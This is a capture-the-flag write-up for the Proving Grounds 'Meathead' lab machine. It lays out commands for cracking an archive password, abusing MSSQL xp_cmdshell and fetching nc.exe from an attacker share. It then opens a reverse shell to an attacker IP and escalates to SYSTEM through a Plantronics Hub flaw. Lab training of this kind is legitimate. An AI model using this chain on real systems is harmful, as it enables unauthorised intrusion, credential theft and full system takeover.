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Meathead

Writeup for Meathead from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration

nmapAutomator.sh -H 192.168.75.70 -t full
nmapAutomator.sh -H 192.168.75.70 -t vulns

HTTP (80)

Tried:
  • SQL Injection

SMB (139/445)

Tried:
  • Null sessions

FTP (1221)

  • Without using passive mode, hangs on 150 Opening ASCII mode data connection
  • Using the -p parameter to force passive mode: ftp -p 192.168.75.70 1221
The MSSQL_BAK.rar looks interesting. It is password protected.
Extract the RAR hash: rar2john MSSQL_BAK.rar > crackme
Crack the hash: john --wordlist=/usr/share/wordlists/rockyou.txt crackme
We find the password letmeinplease.
Unrar the file: unrar e MSSQL_BAK.rar
Inside the archive is a text file.
The credentials are sa:EjectFrailtyThorn425.

MSSQL (1435)

Using the previously found credentials, login using mssqlclient.py.
mssqlclient.py -p 1435 sa:[email protected]

Exploitation

Once in, we can enable code execution using the enable_xp_cmdshell command.
Then, execute a command: xp_cmdshell whoami /all
Transfer nc.exe to a writable directory:
xp_cmdshell copy \\192.168.49.217\ROPNOP\nc.exe c:\Users\Public\nc.exe
Then, trigger a reverse shell (try a few common ports, port 80 works in this case):
xp_cmdshell c:\Users\Public\nc.exe -e cmd.exe 192.168.49.217 80
Unfortunately we don't have access to local.txt just yet.
Using reg query HKLM /f pass /t REG_SZ /s, we find an interesting password.
Using the credentials jane:TwilightAirmailMuck234, we can RDP in as Jane.

Privilege Escalation

On Desktop we find a Platronics Hub app (version 3.13.2)
This version suffers from a local privilege escalation vulnerability: https://www.exploit-db.com/exploits/47845
Create a MajorUpgrade.config with the following contents:
jane|advertise|C:\Windows\System32\cmd.exe
Upon saving this file, we get a SYSTEM shell.